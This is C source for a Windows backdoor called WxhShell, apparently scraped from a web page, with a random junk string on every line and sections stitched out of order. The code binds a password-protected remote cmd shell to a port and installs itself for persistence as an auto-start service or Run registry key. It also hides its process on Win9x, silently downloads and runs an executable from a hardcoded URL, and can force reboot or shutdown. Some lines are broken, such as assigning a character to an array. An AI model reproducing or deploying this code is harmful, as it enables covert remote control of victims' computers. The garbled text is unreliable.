    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IHB} `e|  
    else { XW[j!`nlk  
    closesocket(wsh); `F-/QX[:  
    ExitThread(0); Oxm>c[R  
    } J[l7di5  
    break; qX/y5F`  
    } v[ . cd*b  
  // 获取shell ]OM"ZG/^  
  case 's': { c/D+|X*  
    CmdShell(wsh); ?4+9fE<Q  
    closesocket(wsh); } df W%{  
    ExitThread(0); 5 h-@|t  
    break; s3z$e+A8  
  } f86XkECZ;`  
  // 退出 |?!~{-o  
  case 'x': { "Lzi+1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^H~h\,;zQ  
    CloseIt(wsh); 6V$Avg\6\  
    break; aRj9E}  
    } $Ipg&`S"  
  // 离开 Njxv4cc  
  case 'q': { Z_$%.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C^O VB-  
    closesocket(wsh); =O&%c%~q  
    WSACleanup(); $mu^G t  
    exit(1); *1 uKr9  
    break; 52%2R]G!  
        } vmU@^2JSJ  
  } Z?6%;n^ 54  
  } @3) (BpFe  
qyZ" %Kz  
  // 提示信息 =b%MXT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1a?!@g )  
} o2nv+fy W  
  } qU+t/C.  
VrHv)lUr  
  return; m}C>ti`VD  
} ap.K=-H  
rA3$3GLQ-  
// shell模块句柄 Jb0`42  
int CmdShell(SOCKET sock) tRs [ YK  
{ p)jk>j B  
STARTUPINFO si; _t iujP  
ZeroMemory(&si,sizeof(si)); :y+2*lV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]s]vZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )P%ZA)l%_o  
PROCESS_INFORMATION ProcessInfo; lG9bLiFY  
char cmdline[]="cmd"; u8'Zl8 g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xqeyD*s  
  return 0; 02f~En}>6  
} 4QH3fTv   
;!=G   
// 自身启动模式 ,$@bE  
int StartFromService(void) .7Dtm<K#  
{ lsJSYJG&  
typedef struct ojafy}  
{ A0/"&Ag]  
  DWORD ExitStatus; lAS#874dE  
  DWORD PebBaseAddress; 9Z|jxy  
  DWORD AffinityMask; rx'RSo#1O  
  DWORD BasePriority; cA2V2S)  
  ULONG UniqueProcessId; - \ 5v^l  
  ULONG InheritedFromUniqueProcessId; O@tU.5*$5  
}   PROCESS_BASIC_INFORMATION; RM]\+BK  
fFMlDg[];  
PROCNTQSIP NtQueryInformationProcess; 2L:_rR#w  
 q['Euy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J28M@cn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SOs:]U-T3  
SbND Y{5RO  
  HANDLE             hProcess; !F*5M1Kjd  
  PROCESS_BASIC_INFORMATION pbi; 7TgOK   
\MsTB|Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Umz KY  
  if(NULL == hInst ) return 0; <5-[{Q/2z  
%<)2/|lCd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <C_jF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w;;BSJ]+[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c>,'Y)8   
9/{(%XwX  
  if (!NtQueryInformationProcess) return 0; ~,d,#)VE2q  
5 f@)z"j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HD@$t)mn  
  if(!hProcess) return 0; )YYf1o[+  
i{Uc6 R6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J; 3{3  
qt"G[9;  
  CloseHandle(hProcess); k|v3.< -  
 j?A/#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &D >G8  
if(hProcess==NULL) return 0; Nu0C;B66  
|Z|-q"Rf  
HMODULE hMod; |+"<wEKI  
char procName[255]; nii A7Ux  
unsigned long cbNeeded; ZEXc%-M  
-0d0t!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fWCo;4<5?  
2n,*Nd`  
  CloseHandle(hProcess); aKV$pC<[o  
;PF`Wj  
if(strstr(procName,"services")) return 1; // 以服务启动 ,QOG!T4  
+cD<:"L'g  
  return 0; // 注册表启动  Qn^'  
} dl.N.P7}4  
<vnHz?71c  
// 主模块 b1?#81  
int StartWxhshell(LPSTR lpCmdLine) teOe#*  
{ s6ZuM/Q  
  SOCKET wsl; QgrpBG  
BOOL val=TRUE; \n"{qfn`r  
  int port=0; j>*S5y.{  
  struct sockaddr_in door; =4vy@7/  
iMt:9|yF}8  
  if(wscfg.ws_autoins) Install(); pe0F0Ruy  
@:;)~V  
port=atoi(lpCmdLine); f& 0M*o,)  
qsF<!'m7`  
if(port<=0) port=wscfg.ws_port; wJg1Y0nh  
W$QcDp]#p}  
  WSADATA data; [NQOrcAQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +ylTGSZS  
PUz*!9HC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZufR {^W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OGBHos  
  door.sin_family = AF_INET; 1da@3xaF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3ovWwZ8&  
  door.sin_port = htons(port); ];}Wfl  
Q;MT"=RW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t$ +?6E  
closesocket(wsl); T\:4qETQF]  
return 1; 7@C<oy_bb  
} cO-7ke  
68bQ;Dv  
  if(listen(wsl,2) == INVALID_SOCKET) { k=2Lo  
closesocket(wsl); =31"fS@  
return 1; { .n"Z  
} +~St !QV%  
  Wxhshell(wsl); %`k6w3qI  
  WSACleanup(); [l:x'_y  
i}b${n o  
return 0; r~[Ia!U?  
f'8kish  
} 6f;fx}y  
3yANv?$a  
// 以NT服务方式启动 -1Jg?cPz k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +O'3|M  
{ {Z{75}  
DWORD   status = 0; TH)"wNa  
  DWORD   specificError = 0xfffffff; hrmut*<|  
yhlFFbU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pnw]Tm}g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zh4# A <e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1pQn8[sc@  
  serviceStatus.dwWin32ExitCode     = 0; Ulhk$CPA  
  serviceStatus.dwServiceSpecificExitCode = 0; }L &^xe  
  serviceStatus.dwCheckPoint       = 0; m%rd0=}57  
  serviceStatus.dwWaitHint       = 0; \:R%4w#Jv  
$v,dz_O*\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yH7F''O7  
  if (hServiceStatusHandle==0) return; X$%'  
XV!6dh!  
status = GetLastError(); -HQQw$  
  if (status!=NO_ERROR) z,|r*\dw  
{ TP VVck-T8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B! rTD5a  
    serviceStatus.dwCheckPoint       = 0; V zBqjE_  
    serviceStatus.dwWaitHint       = 0; , l%C X.9  
    serviceStatus.dwWin32ExitCode     = status; AUeu1(  
    serviceStatus.dwServiceSpecificExitCode = specificError; <m:m &I 8@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7}1~%:6  
    return; ;sfb 4x4  
  } $J4 *U  
Qg^cf<X{i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q)"C&) `l  
  serviceStatus.dwCheckPoint       = 0; 4B=2>k  
  serviceStatus.dwWaitHint       = 0; sfLMk E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yaj0;Lo[wt  
} 0fc/wfv <  
0?sRDYaX;c  
// 处理NT服务事件,比如:启动、停止 aHlcfh9|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b`L%t:u{d  
{ Cv }Qwy  
switch(fdwControl) "~`I::'c  
{ Z.d 7U~_  
case SERVICE_CONTROL_STOP: )i q-yjO6  
  serviceStatus.dwWin32ExitCode = 0; j0Bu-sO$w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W8Q|$ZJ88F  
  serviceStatus.dwCheckPoint   = 0; iM2W]  
  serviceStatus.dwWaitHint     = 0; ?MXejEC  
  { .id)VF-l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NxSu 3e~PS  
  } +U_=*"@|  
  return; *Kyw^DI  
case SERVICE_CONTROL_PAUSE: f5F@^QXQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F1iGMf-8  
  break; 8iW;y2qF  
case SERVICE_CONTROL_CONTINUE: & +4gSr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ##KBifU"  
  break; rxr{/8%f%  
case SERVICE_CONTROL_INTERROGATE: M@h|bN  
  break; CQwL|$)]Y  
}; (E/lIou  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fd?"-  
} 17D"cP  
A3vUPWdDk  
// 标准应用程序主函数 tcI}Ca>u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x2@U.r"zo  
{ ?!wgH9?8  
'jmTXWq*  
// 获取操作系统版本 "dsU>3u  
OsIsNt=GetOsVer(); } $uxJB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZPc@Zr`z  
Wf>zDW^"R  
  // 从命令行安装 lJ+0P2@h*  
  if(strpbrk(lpCmdLine,"iI")) Install(); x8!ol2\`<  
^BUYjq%(`  
  // 下载执行文件 c;{Q,"9U  
if(wscfg.ws_downexe) { \2nUa ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q F-LU  
  WinExec(wscfg.ws_filenam,SW_HIDE); UUF ;p2{f  
} ub7zA!%  
6UevpDB  
if(!OsIsNt) { [(o7$i29|%  
// 如果时win9x,隐藏进程并且设置为注册表启动 h\7fp.  
HideProc(); cKN$ =gd  
StartWxhshell(lpCmdLine); qud\K+  
} GFfq+=se  
else o]Ol8I  
  if(StartFromService()) "oWwc zzO  
  // 以服务方式启动 MepuIh  
  StartServiceCtrlDispatcher(DispatchTable); !icT/5  
else iZPCNS"  
  // 普通方式启动 994` ua+  
  StartWxhshell(lpCmdLine); %Rz&lh/  
aaKN^fi&  
return 0; HQ|MhM/"  
} ;2@BO-3K  
+zu(  
m~@;~7Ix  
V?Z.\~  
=========================================== OS4q5;1#  
# S}Z8  
[~kdPk  
e?`5>& Up  
N-jTc?mT~&  
"8 ~:[G#  
" N+LL@[  
=1O<E  
#include <stdio.h> O$D'.t  
#include <string.h> zS\E/.X2  
#include <windows.h> n8uv#DsdK  
#include <winsock2.h> \ {qI4=  
#include <winsvc.h> xfy1pS.[:  
#include <urlmon.h> a^Tm u  
[vMvV4,  
#pragma comment (lib, "Ws2_32.lib") RaWG w  
#pragma comment (lib, "urlmon.lib") lrWV#`6!+  
NM]s8cK_  
#define MAX_USER   100 // 最大客户端连接数 _$wmI/_J M  
#define BUF_SOCK   200 // sock buffer WuPH'4b 5  
#define KEY_BUFF   255 // 输入 buffer rEHkw '  
\%/#x V  
#define REBOOT     0   // 重启 2H/Z_+\  
#define SHUTDOWN   1   // 关机 A,V\"KU  
BYO"u6  
#define DEF_PORT   5000 // 监听端口 AX?fuDLs  
I8+~ &V}  
#define REG_LEN     16   // 注册表键长度 [cTe54n  
#define SVC_LEN     80   // NT服务名长度 HS{(v;  
*+TH#EL2  
// 从dll定义API } X^|$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %{(x3\ *&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nL$x|}XAcj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :ml2.vP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b !%hH  
7M<'ddAN  
// wxhshell配置信息 `W dD8E  
struct WSCFG { 1QcT$8HA  
  int ws_port;         // 监听端口 gXonF'  
  char ws_passstr[REG_LEN]; // 口令 GuGOePV  
  int ws_autoins;       // 安装标记, 1=yes 0=no #VB')^d<U  
  char ws_regname[REG_LEN]; // 注册表键名 ,ldI2 ]  
  char ws_svcname[REG_LEN]; // 服务名 [,K.*ZQi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {cB+mh;mJ>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0{[m%eSK'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {K4+6p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JYrY[',u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [q_`X~3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fV v.@HL{  
 )LJnLo+  
}; hq:&wN 7Q  
5DXR8mLoaJ  
// default Wxhshell configuration ~7$&WzD  
struct WSCFG wscfg={DEF_PORT, Nc :({@I  
    "xuhuanlingzhe", e1>aTu@  
    1, ! iptT(2  
    "Wxhshell", e'*`.^  
    "Wxhshell", yz-,)GB6  
            "WxhShell Service", b B  x?  
    "Wrsky Windows CmdShell Service", :Xn7Ha[f  
    "Please Input Your Password: ", :l2g#* c  
  1, M t*6}Cl  
  "http://www.wrsky.com/wxhshell.exe", _* IPk  
  "Wxhshell.exe" qw7@(R'"  
    }; #l4)HV  
Kx. X7R  
// 消息定义模块 f'<Q.Vh<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mmo6MZ^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q\GDrdA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K,6b3kk  
char *msg_ws_ext="\n\rExit."; &K43x&mFF  
char *msg_ws_end="\n\rQuit."; uQ=^~K:Z~  
char *msg_ws_boot="\n\rReboot..."; ]c<qM_HWg  
char *msg_ws_poff="\n\rShutdown..."; ew;ur?  
char *msg_ws_down="\n\rSave to "; P+!"wX0*N  
i]=&  
char *msg_ws_err="\n\rErr!"; EyI}{6~F  
char *msg_ws_ok="\n\rOK!"; Ti2Ls5H}  
`} m Q  
char ExeFile[MAX_PATH]; v?0r`<Mn  
int nUser = 0; &-czStQ  
HANDLE handles[MAX_USER]; kdxz!  
int OsIsNt; WYIQE$SEv  
sK"9fU  
SERVICE_STATUS       serviceStatus; Dy]I8_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >6~k9>nDb<  
RrhT'':[  
// 函数声明 :d0Y%vl  
int Install(void); j ,)P9V  
int Uninstall(void); DbZ0e5  
int DownloadFile(char *sURL, SOCKET wsh); 7R3fqU.Rq  
int Boot(int flag); PN$X N<  
void HideProc(void); osOVg0Gyj  
int GetOsVer(void); =\,uy8HX  
int Wxhshell(SOCKET wsl); Z<#hS=eY  
void TalkWithClient(void *cs); L>!8YUz7p$  
int CmdShell(SOCKET sock); TDg@Tg0  
int StartFromService(void); ^pS+/ZSi^  
int StartWxhshell(LPSTR lpCmdLine); !PMU O\y  
& SAH2xR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c(U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [w0/\]o  
Z2Zq'3*  
// 数据结构和表定义 2[B4f7  
SERVICE_TABLE_ENTRY DispatchTable[] = )jCo%P/  
{ d'*]ns  
{wscfg.ws_svcname, NTServiceMain}, =(EI~N  
{NULL, NULL} V $|<  
}; sow d`I~  
'JZJFE7Z  
// 自我安装 6AvHavA^Y  
int Install(void) R#n%cXc|  
{ R*zO dxY  
  char svExeFile[MAX_PATH]; !j1[$% =#  
  HKEY key; tp:\j@dB  
  strcpy(svExeFile,ExeFile); Um)>2|rp}  
`e]6#iJ^  
// 如果是win9x系统,修改注册表设为自启动 7l."b$U4yv  
if(!OsIsNt) { MlJVeod  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (>=7ng^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2/36dGFH  
  RegCloseKey(key); E15vq6DKF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~gI{\iNF/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "o&HE@t  
  RegCloseKey(key); n;8'`s  
  return 0; [U8$HQ+x  
    } 1z*kc)=JF8  
  } b?Pj< tA  
} -h-oMqgu(  
else { sVoW =4V8  
 :Pq.,s  
// 如果是NT以上系统,安装为系统服务 659v\51*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1/ZR*f a  
if (schSCManager!=0) 451'>qS  
{ mPPk )qy  
  SC_HANDLE schService = CreateService ~=&t0D  
  ( 85IMdZ7I  
  schSCManager, #.5vC5  
  wscfg.ws_svcname, y/? &pKH^  
  wscfg.ws_svcdisp, SQWafD  
  SERVICE_ALL_ACCESS, J4 tcQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a$9A(Pte  
  SERVICE_AUTO_START, 3Z>YV]YbeU  
  SERVICE_ERROR_NORMAL, JI|6B  
  svExeFile, Ogg#jx(4  
  NULL, /%n`V  
  NULL, ~~F2Ij  
  NULL, 1%J.WH6eQ  
  NULL, `Zz uo16  
  NULL ;pJ2V2 g8  
  ); ogeL[7  
  if (schService!=0) /}5B&TZ=(3  
  {  T7$S_  
  CloseServiceHandle(schService); V5D2\n3A  
  CloseServiceHandle(schSCManager); wU`!B<,j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yg;_.4TpIO  
  strcat(svExeFile,wscfg.ws_svcname); TNY4z(r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *zVvQ=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u-DK_^v4M  
  RegCloseKey(key); Rt(J/%;  
  return 0; J?n<ydZSH  
    } Zt@Z=r:&  
  } Gzt=u"FV  
  CloseServiceHandle(schSCManager); ;\y ;  
} b!$}ma;B  
} XD-^w_  
,xths3.K  
return 1; gJ3c;  
} N;HIsOT}t  
9.M{M06;  
// 自我卸载 O\OE0[[  
int Uninstall(void) W9J1=  
{ -s__ E  
  HKEY key; +`bC%\T8?  
U3#dT2U  
if(!OsIsNt) { C:\(~D *GS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $v} <'  
  RegDeleteValue(key,wscfg.ws_regname); Ulqh@CE)  
  RegCloseKey(key); $_j1kx$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y/_wx(2  
  RegDeleteValue(key,wscfg.ws_regname); vt]F U<  
  RegCloseKey(key); }Ia 0"J4  
  return 0; H5nS%D  
  } !0 Q8iW:  
} xi'<y  
} 8NimZ(  
else { Mth6-^g5  
7w58L:)B.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TYjA:d9YH  
if (schSCManager!=0) kJ=L2g>W<.  
{ 3gfimD$_E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yu&Kh4AP  
  if (schService!=0) noA-)  
  { .Gb+\E{M  
  if(DeleteService(schService)!=0) { *j*Du+  
  CloseServiceHandle(schService); 45}v^|Je\  
  CloseServiceHandle(schSCManager);  s&*yk p  
  return 0; BIWD/ |LQ  
  } b;9n'UX\  
  CloseServiceHandle(schService); :kw0y  
  } O|v (5 8A  
  CloseServiceHandle(schSCManager); -!*p*3|03|  
} Q e1oT)  
} #Ws 53mT  
6E9N(kFYs  
return 1; ,EhVSrh)_4  
} X<MpN5%|Wo  
6Dm+'y]l  
// 从指定url下载文件 :%_q[}e  
int DownloadFile(char *sURL, SOCKET wsh) HdQj?f3  
{ E`p'L!z  
  HRESULT hr; f =_^>>.  
char seps[]= "/"; a&/HSf_G  
char *token; U6WG?$x  
char *file; rS~qi}4X  
char myURL[MAX_PATH]; vC9@,[  
char myFILE[MAX_PATH]; PHR#>ZD  
+cfziQ$'  
strcpy(myURL,sURL); ++92:decM  
  token=strtok(myURL,seps); Uh6mGL z*&  
  while(token!=NULL) =B5E0x  
  { w@N{ @tG  
    file=token; fwmLJ5o N  
  token=strtok(NULL,seps); L :U4N*  
  } ^o%_W0_r  
fuSq ={]  
GetCurrentDirectory(MAX_PATH,myFILE); /GsrGX8  
strcat(myFILE, "\\"); ;9rTE|n  
strcat(myFILE, file); jmW^`%;7  
  send(wsh,myFILE,strlen(myFILE),0); ~Q!~eTw  
send(wsh,"...",3,0); B!q?_[k,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` py}99G  
  if(hr==S_OK) Ysk, w,K  
return 0; pv$tTWk  
else S|2VP8xY9  
return 1; G:Hj;&'2  
{'(ej5,6  
} DJ:38_F  
h=f6~5l5  
// 系统电源模块 _O 52ai><b  
int Boot(int flag) oMTY)`me  
{ Ve:&'~F2 s  
  HANDLE hToken; PHkDb/HIx|  
  TOKEN_PRIVILEGES tkp; ?Y`zg`  
A c:\c7M;  
  if(OsIsNt) { *98Ti|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >6K4b/.5w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m'.T2e.u  
    tkp.PrivilegeCount = 1; 4]"w b5%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fu>Qi)@6a1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fg@ ACv'@  
if(flag==REBOOT) { X\G)81Q.S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  wF;B@  
  return 0; Z}f^qc+  
} XIN5a~[z*  
else { LD@7(?mlU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -M`D >  
  return 0; CveWl$T12  
} /Hk07:"c  
  } 1nXqi)&?;  
  else { {_ 6t4h}  
if(flag==REBOOT) { =dn1}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (wlfMiO  
  return 0; r03I*b  
} ho|  8U  
else { %QE5<2k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8 DL hk  
  return 0; 4^MSX+zt  
} ^^Bm$9  
} ,# iZS&  
)6C`&Mj  
return 1; $:]tcY-L9  
} [,\i[[<  
?7rD42\8H  
// win9x进程隐藏模块 D3]@i&^B  
void HideProc(void) )T<D6l Lt  
{ ~"5C${~{  
vu>YH)N_h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (JvQ-H  
  if ( hKernel != NULL ) Z_jn27AC  
  { |%3O) B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hqWPf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]g7HEB.Y  
    FreeLibrary(hKernel); cCYl$MskZ  
  } #_,uE9  
J2Y 3er  
return;  xLLC)~  
} IPkA7VhFF  
7zi"caY  
// 获取操作系统版本 @!-aR u  
int GetOsVer(void) _H/67dcz,  
{ UJ9q-r  
  OSVERSIONINFO winfo; dRM5urR6,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0JrK/Ma3  
  GetVersionEx(&winfo); AAdD\ %JZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _p$"NNFN  
  return 1; HcDyD0;L.  
  else t0I>5#*WU  
  return 0; S--/<a2  
} K#iK6)tS  
#EEG>M*xB  
// 客户端句柄模块 s|BX> 1  
int Wxhshell(SOCKET wsl) kkHTbn=!  
{ t{[gKV-b  
  SOCKET wsh; 7s$6XO!  
  struct sockaddr_in client; gRw.AXR a  
  DWORD myID; &s2#1  
0K`ZX&K?W  
  while(nUser<MAX_USER) B>ge, }{  
{ L;nZ0)@@l  
  int nSize=sizeof(client); EK:Y2WZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p5D5%B/  
  if(wsh==INVALID_SOCKET) return 1; IMw "eV  
oMz/sL'u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5_PWGaQa  
if(handles[nUser]==0) nP5d?  
  closesocket(wsh); //6^+-he  
else d~vTD|Et  
  nUser++; y`\mQ48V  
  } }ty"fI3&iY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kf}F}Ad:%  
A> J1B(up  
  return 0; Ny]'RS-  
} .Kg|f~InO  
!~ BZHi6\  
// 关闭 socket (0X,Qwx  
void CloseIt(SOCKET wsh) _+}-H'7=  
{ b1eK(F  
closesocket(wsh); ^! $} BY  
nUser--; A8#.1uEgNb  
ExitThread(0); /0Rt+`  
} (QA-"9v#i,  
.jLMl*6%:  
// 客户端请求句柄 &S9f#Ui  
void TalkWithClient(void *cs) D$Kz9GVZq  
{ y*y`t6D  
e~tr^$/(  
  SOCKET wsh=(SOCKET)cs; AlA h S<  
  char pwd[SVC_LEN]; xI-=t ib  
  char cmd[KEY_BUFF]; t5I^1u6  
char chr[1]; ',L{CQA?c  
int i,j; C+X)">/+L  
7=$+k]U8  
  while (nUser < MAX_USER) { 4!NfQk>X  
Y] D7i?3N  
if(wscfg.ws_passstr) { 3D]2$a_d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *(@L+D0N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M@',3  
  //ZeroMemory(pwd,KEY_BUFF); .vCY%0oE  
      i=0; =# k<Kw#  
  while(i<SVC_LEN) { deR$  
bbfDt^  
  // 设置超时 N |OMj%Uk  
  fd_set FdRead; 7KvXTrN!9  
  struct timeval TimeOut; CsJ)Z%4_  
  FD_ZERO(&FdRead); -d$8WSI 8  
  FD_SET(wsh,&FdRead); iSSc5ek4  
  TimeOut.tv_sec=8; e{^:/WcYB  
  TimeOut.tv_usec=0; P-/XYZ]`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z?!JV_K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +a7EsR  
U:s} /to  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D[?k ,*  
  pwd=chr[0]; Vy?R/ Uu  
  if(chr[0]==0xd || chr[0]==0xa) { Bf D,z  
  pwd=0; \O8Y3|<  
  break; m1~qaD<DZ$  
  } {^PO3I  
  i++; 2LhfXBWf  
    } pDLu+ }@  
c n\k`8  
  // 如果是非法用户,关闭 socket gaLEhf^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cq'}2pob  
} 6Tm Rc  
\;3B?8wbIl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ;'2`M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n"^/UQ|#j  
CT$& zEIm  
while(1) { wGov|[X  
dv1x 78xG>  
  ZeroMemory(cmd,KEY_BUFF); ?.rH;:9To  
,7n;|1`  
      // 自动支持客户端 telnet标准   >z fq*_  
  j=0; u7<qaOzs?  
  while(j<KEY_BUFF) { Sleu#]-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *G2)@0 {  
  cmd[j]=chr[0]; (>!]A6^L~  
  if(chr[0]==0xa || chr[0]==0xd) { BR&Qw'O%  
  cmd[j]=0; jc%{a*n"vr  
  break; NB!'u) lFD  
  } |.Y@^z;P3  
  j++; I,CAFq  
    } cJ7{4YK_#/  
UX-_{I QW  
  // 下载文件 VuX >  
  if(strstr(cmd,"http://")) { pJ 2:` f<;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %2rHvF=  
  if(DownloadFile(cmd,wsh)) =sUl`L+w,L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'J6#Vs  
  else hJC p0F9O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ef,7zKG  
  } KG4#BY&^  
  else { =ELDJt  
*MnG-\{j  
    switch(cmd[0]) { D^N#E>,  
  BST7y4R)BS  
